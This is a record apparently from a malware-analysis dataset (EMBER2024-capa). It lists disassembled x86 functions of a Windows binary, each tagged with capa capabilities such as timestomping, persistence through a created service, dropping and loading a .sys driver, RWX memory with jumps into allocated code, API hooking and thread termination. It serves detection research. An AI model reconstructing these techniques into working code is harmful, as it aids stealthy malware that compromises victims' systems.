joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40149a
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40d180
push 0x40b952
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
sub esp, 0x82c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 0x20], 0
or dword [ebp - 0x24], 0xffffffff
and dword [ebp - 0x1c], 0
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 1
jne 0x40149a
cmp dword [ebp + 0x14], 0
je 0x40149a
and dword [ebp - 0x844], 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x844], eax
push 0x800
push 0
lea eax, [ebp - 0x840]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp - 0x844]
lea eax, [ebp - 0x840]
push eax
push dword [ebp - 0x844]
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
and dword [ebp - 4], 0
push 0xffffffffffffffff
lea eax, [ebp - 0x840]
push eax
push 0
push 0x40149a
mov edi, edi
push ebp
mov eax, dword [ebp + 0x14]
add eax, 3
jmp eax
push 0
push 0
push 4
push 0
push 0
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
jne 0x4014c2
xor eax, eax
jmp 0x401572
cmp dword [ebp - 0x20], 0
jne 0x4014fc
mov dword [ebp - 0x3c], 0x1ec61500
mov dword [ebp - 0x38], 0x1c479c6
push 8
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x34]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 8
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x2c]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x40150a
push 0
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x24]
call fcn.00402da4
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40153f
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x20], 0
jne 0x40153b
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
jmp 0x401572
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 1
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x24]
call fcn.00402da4
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x401583
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
and dword [ebp - 0x40c], 0
and dword [ebp - 4], 0
and dword [ebp - 8], 0
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push dword [0x40fba8]
push 0x40c3c4
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x40c]
push eax
push 0x2001f
push 0
lea eax, [ebp - 0x408]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov eax, dword [ebp - 0x40c]
mov dword [ebp - 8], eax
cmp dword [ebp + 0xc], 0
je 0x401632
and dword [ebp - 0x410], 0
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp - 0x40c]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 0x14]
push 2
push 0
push dword [ebp + 0x10]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x40c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 4], 0
je 0x40166a
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret 0x10
Function at 0x402a4f
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
and dword [ebp - 0x130], 0
and dword [ebp - 0x134], 0
and dword [ebp - 0x12c], 0
push 0x128
push 0
lea eax, [ebp - 0x128]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x128], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x12c], eax
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x12c]
call sub.KERNEL32.dll_Process32First
cmp dword [ebp + 0x10], 3
jne 0x402ac4
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [ebp + 0x10], 1
jne 0x402adb
lea eax, [ebp - 0x104]
push eax
call fcn.00402368
jmp 0x402c15
cmp dword [ebp + 0x10], 2
jne 0x402b5f
mov eax, dword [ebp + 8]
mov dword [ebp - 0x138], eax
and dword [ebp - 0x13c], 0
mov eax, dword [ebp - 0x138]
movsx eax, byte [eax]
test eax, eax
je 0x402b5a
push dword [ebp - 0x138]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402b3c
push 0
lea eax, [ebp - 0x13c]
push eax
push 0
push 0
push 4
lea eax, [ebp - 0x120]
push eax
push 0x222418
push dword [0x40fbb0]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push dword [ebp - 0x138]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x138]
lea eax, [ecx + eax + 1]
mov dword [ebp - 0x138], eax
jmp 0x402af1
jmp 0x402c15
cmp dword [ebp + 0x10], 3
jne 0x402bed
and dword [ebp - 0x140], 0
cmp dword [ebp - 0x134], 0
jne 0x402b88
mov dword [ebp - 0x134], 1
jmp 0x402c15
push 0x2e
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0
je 0x402bb1
mov eax, dword [ebp - 0x140]
and dword [eax], 0
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
test eax, eax
jne 0x402bcd
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x402beb
push 0x40c5b8
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x402c15
cmp dword [ebp + 0x10], 4
jne 0x402c15
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402c15
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x130], eax
jmp 0x402c2f
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x12c]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x402ac4
push dword [ebp - 0x12c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
leave
ret 0xc
Function at 0x402da4
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 1
cmp dword [ebp + 8], 0xffffffff
jne 0x402dbe
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x402e2a
cmp dword [ebp + 0x10], 0
jne 0x402dfa
push 0x18
push 0
push dword [ebp + 0xc]
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp + 0xc]
add eax, 0x10
push eax
mov eax, dword [ebp + 0xc]
add eax, 8
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
jne 0x402df5
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x402e2a
cmp dword [ebp + 0x10], 1
jne 0x402e27
mov eax, dword [ebp + 0xc]
add eax, 0x10
push eax
mov eax, dword [ebp + 0xc]
add eax, 8
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x402e22
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x402e2a
mov eax, dword [ebp - 4]
leave
ret 0xc

Function at 0x402e2e
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40d170
push 0x40b952
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x20], 0x4000000
and dword [ebp - 0x1c], 0
and dword [ebp - 0x24], 0
and dword [ebp - 4], 0
push 0x40
push 0x3000
push dword [ebp - 0x20]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x402e8a
or dword [ebp - 4], 0xffffffff
jmp 0x402ef2
push dword [ebp - 0x20]
push 0x90
push dword [ebp - 0x24]
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, 0x402ecb
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x20]
mov dword [eax - 5], 0xe9
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x20]
mov dword [eax - 4], ecx
mov eax, dword [ebp - 0x24]
jmp eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402f01
Capabilities:
Allocate or change rwx memory
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], 1
and dword [ebp - 0xc], 0
and dword [ebp - 0x14], 0
and dword [ebp - 0x18], 0
and dword [ebp - 4], 0
and dword [ebp - 0x10], 0
push 0x40c6f8
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x14], eax
push dword [ebp - 0x14]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 4], eax
push dword [ebp - 0x14]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x18], eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp dword [ebp + 0x10], 0x67
jne 0x402f6e
mov dword [ebp - 0x10], 0x520
jmp 0x402f75
mov dword [ebp - 0x10], 0x61e
push 0x40
push 0x3000
push dword [ebp - 4]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
push dword [ebp - 0x18]
push dword [ebp - 0xc]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_FreeResource]
push dword [ebp - 0x10]
push dword [ebp - 4]
push dword [ebp - 0xc]
call fcn.004023d0
push 0
push dword [ebp - 4]
push dword [ebp - 0xc]
push dword [ebp + 8]
call fcn.004013c1
mov dword [ebp - 8], eax
push 0x8000
push 0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 8]
leave
ret 0xc

Function at 0x40333d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
and dword [ebp - 0x14], 0
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x60], 0x44
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0xc000000
push 1
push 0
push 0
push dword [ebp + 8]
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jne 0x4033b9
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0xc]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp + 0x10], 0
je 0x4033b0
push dword [ebp + 0x10]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
leave
ret 0xc
Function at 0x4034b7
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
and dword [ebp - 0x10], 0
and dword [ebp - 0xc], 0
and dword [ebp - 4], 0
and dword [ebp - 0x34], 0
and dword [ebp - 8], 0
mov dword [ebp - 0x30], sub.KERNEL32.dll_CreateToolhelp32Snapshot
push str.ZwQueryInformationThread
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x34], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0xc], eax
push 0
push 4
call dword [ebp - 0x30]
mov dword [ebp - 4], eax
push 0x1c
push 0
lea eax, [ebp - 0x2c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x2c], 0x1c
push str.Thread32First
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 4]
call dword [ebp - 8]
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x10]
jne 0x4035c1
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0xc]
je 0x4035c1
and dword [ebp - 0x3c], 0
mov eax, dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 0x38], eax
push dword [ebp - 0x24]
push 1
push 0x41
call dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
je 0x4035c1
and dword [ebp - 0x44], 0
and dword [ebp - 0x40], 0
lea eax, [ebp - 0x40]
push eax
push 4
lea eax, [ebp - 0x44]
push eax
push 9
push dword [ebp - 0x3c]
call dword [ebp - 0x34]
cmp dword [ebp - 0x44], 0
je 0x4035c1
mov eax, dword [ebp - 0x44]
cmp eax, dword [0x412414]
jb 0x4035c1
mov eax, dword [0x412414]
add eax, dword [0x412418]
cmp dword [ebp - 0x44], eax
ja 0x4035c1
push 0xe1f27272
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x403549
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret
Function at 0x403e35
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
and dword [ebp - 0x4c], 0
and dword [ebp - 4], 0
and dword [ebp - 8], 0
call fcn.004024be
mov dword [ebp - 0x4c], eax
push 0x40
push 0
lea eax, [ebp - 0x48]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp - 0x4c]
push str._.8X
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x158]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
push 0x412420
push str._s_s.sys
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x158]
push eax
push 1
push 2
push 1
push 0xf01ff
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 8], eax
push 0x67
push dword [0x4130b8]
lea eax, [ebp - 0x158]
push eax
call fcn.00402f01
push 0
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x14
call fcn.00403dd7
leave
ret
Function at 0x404cc5
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x784
and dword [ebp - 0x784], 0
and dword [ebp - 0x45c], 0
and dword [ebp - 0x464], 0
and dword [ebp - 0x460], 0
and dword [ebp - 0x20c], 0
and dword [ebp - 0x5f4], 0
mov eax, dword [0x4127f8]
and eax, 0xffffff
mov dword [ebp - 0x210], eax
push 0x104
lea eax, [ebp - 0x700]
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x784]
push eax
push 0x104
lea eax, [ebp - 0x5f0]
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push str.FAT32
lea eax, [ebp - 0x700]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x404d64
mov dword [ebp - 0x5f4], str.Fastfat
jmp 0x404d8b
push str.NTFS
lea eax, [ebp - 0x700]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x404d86
mov dword [ebp - 0x5f4], str.Ntfs
jmp 0x404d8b
jmp 0x404efc
push 0x208
push 0
lea eax, [ebp - 0x458]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp - 0x5f4]
push str.FileSystem_s
lea eax, [ebp - 0x458]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x40
push 0
lea eax, [ebp - 0x250]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x5c
push 0x4127f8
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
inc eax
push eax
lea eax, [ebp - 0x250]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x80
lea eax, [ebp - 0x4e8]
push eax
lea eax, [ebp - 0x250]
push eax
call fcn.004038f3
mov dword [ebp - 0x460], eax
push 0
lea eax, [ebp - 0x20c]
push eax
push 0x208
lea eax, [ebp - 0x458]
push eax
push dword [ebp - 0x460]
lea eax, [ebp - 0x4e8]
push eax
push 0x222413
push dword [0x40fbb0]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0x208
push 0
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
lea eax, [ebp - 0x20c]
push eax
push 0x208
lea eax, [ebp - 0x208]
push eax
push 0
push 0
push 0x222417
push dword [0x40fbb0]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0x80
push 0
lea eax, [ebp - 0x780]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x5c
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.MSVCRT.dll_wcsrchr]
pop ecx
pop ecx
inc eax
inc eax
push eax
push str._s.sys
lea eax, [ebp - 0x780]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
lea eax, [ebp - 0x20c]
push eax
push 0x208
lea eax, [ebp - 0x458]
push eax
lea eax, [ebp - 0x780]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x780]
push eax
push 0x222413
push dword [0x40fbb0]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
leave
ret
Function at 0x405727
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
and dword [ebp - 8], 0
cmp dword [ebp + 8], 1
jne 0x40574c
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x4056d8
jmp 0x405784
cmp dword [ebp + 8], 2
jne 0x405763
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x40563b
jmp 0x405784
cmp dword [ebp + 8], 3
jne 0x405784
mov eax, dword [0x4130cc]
mov cl, byte [0x4130c8]
mov byte [eax], cl
mov eax, dword [0x4130cc]
mov ecx, dword [0x4130d0]
mov dword [eax + 1], ecx
cmp dword [ebp + 8], 1
je 0x405790
cmp dword [ebp + 8], 2
jne 0x4057f2
cmp dword [0x4130cc], 0
jne 0x4057d5
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 4]
mov dword [0x4130cc], eax
mov eax, dword [0x4130cc]
mov al, byte [eax]
mov byte [0x4130c8], al
mov eax, dword [0x4130cc]
mov eax, dword [eax + 1]
mov dword [0x4130d0], eax
lea eax, [ebp - 0xc]
push eax
push 0x40
push 0x400
push dword [0x4130cc]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x4130cc]
mov byte [eax], 0xe9
mov eax, dword [0x4130cc]
add eax, 5
mov ecx, dword [ebp - 8]
sub ecx, eax
mov eax, dword [0x4130cc]
mov dword [eax + 1], ecx
xor eax, eax
inc eax
leave
ret 4

Function at 0x405b6b
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
or dword [ebp - 4], 0xffffffff
and dword [ebp - 8], 0
jne 0x405bf0
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
and dword [ebp - 0xc], 0
jmp 0x405b9c
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x100
jge 0x405bf0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 8
jmp 0x405bbb
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jle 0x405be2
mov eax, dword [ebp - 0x10]
and eax, 1
je 0x405bd8
mov eax, dword [ebp - 0x10]
shr eax, 1
xor eax, 0xedb88320
mov dword [ebp - 0x10], eax
jmp 0x405be0
mov eax, dword [ebp - 0x10]
shr eax, 1
mov dword [ebp - 0x10], eax
jmp 0x405bb4
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov dword [ecx + eax*4], edx
jmp 0x405b95
and dword [ebp - 0x18], 0
jmp 0x405bfd
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp + 0xc]
jae 0x405c36
and dword [ebp - 0x1c], 0
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x18]
movsx eax, byte [eax]
xor eax, dword [ebp - 4]
and eax, 0xff
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 4]
shr eax, 8
and eax, 0xffffff
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 8]
xor eax, dword [edx + ecx*4]
mov dword [ebp - 4], eax
jmp 0x405bf6
mov eax, dword [ebp - 4]
not eax
mov dword [ebp - 4], eax
cmp dword [ebp - 8], 0
je 0x405c53
mov eax, dword [ebp - 8]
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov eax, dword [ebp - 4]
leave
ret 8
Function at 0x405c5a
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and dword [ebp - 0x18], 0
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
and dword [ebp - 0x14], 0
or dword [ebp - 0x10], 0xffffffff
and dword [ebp - 4], 0
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x405ca6
jmp 0x405d47
push 0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 4
push 0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 0xf001f
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x405ceb
jmp 0x405d47
mov eax, dword [ebp - 0xc]
push dword [eax + 4]
mov eax, dword [ebp - 8]
sub eax, 8
push eax
mov eax, dword [ebp - 0xc]
add eax, 8
push eax
call fcn.004023d0
mov eax, dword [ebp - 8]
sub eax, 8
push eax
mov eax, dword [ebp - 0xc]
add eax, 8
push eax
call fcn.00405b6b
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [eax]
je 0x405d2a
jmp 0x405d47
mov dword [ebp - 0x18], 1
push 0x20
mov eax, dword [ebp - 0xc]
add eax, 8
push eax
push 0x412c94
call sub.MSVCRT.dll_memcpy
add esp, 0xc
cmp dword [ebp - 0xc], 0
je 0x405d56
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
cmp dword [ebp - 4], 0
je 0x405d65
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x10], 0xffffffff
je 0x405d74
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
leave
ret 4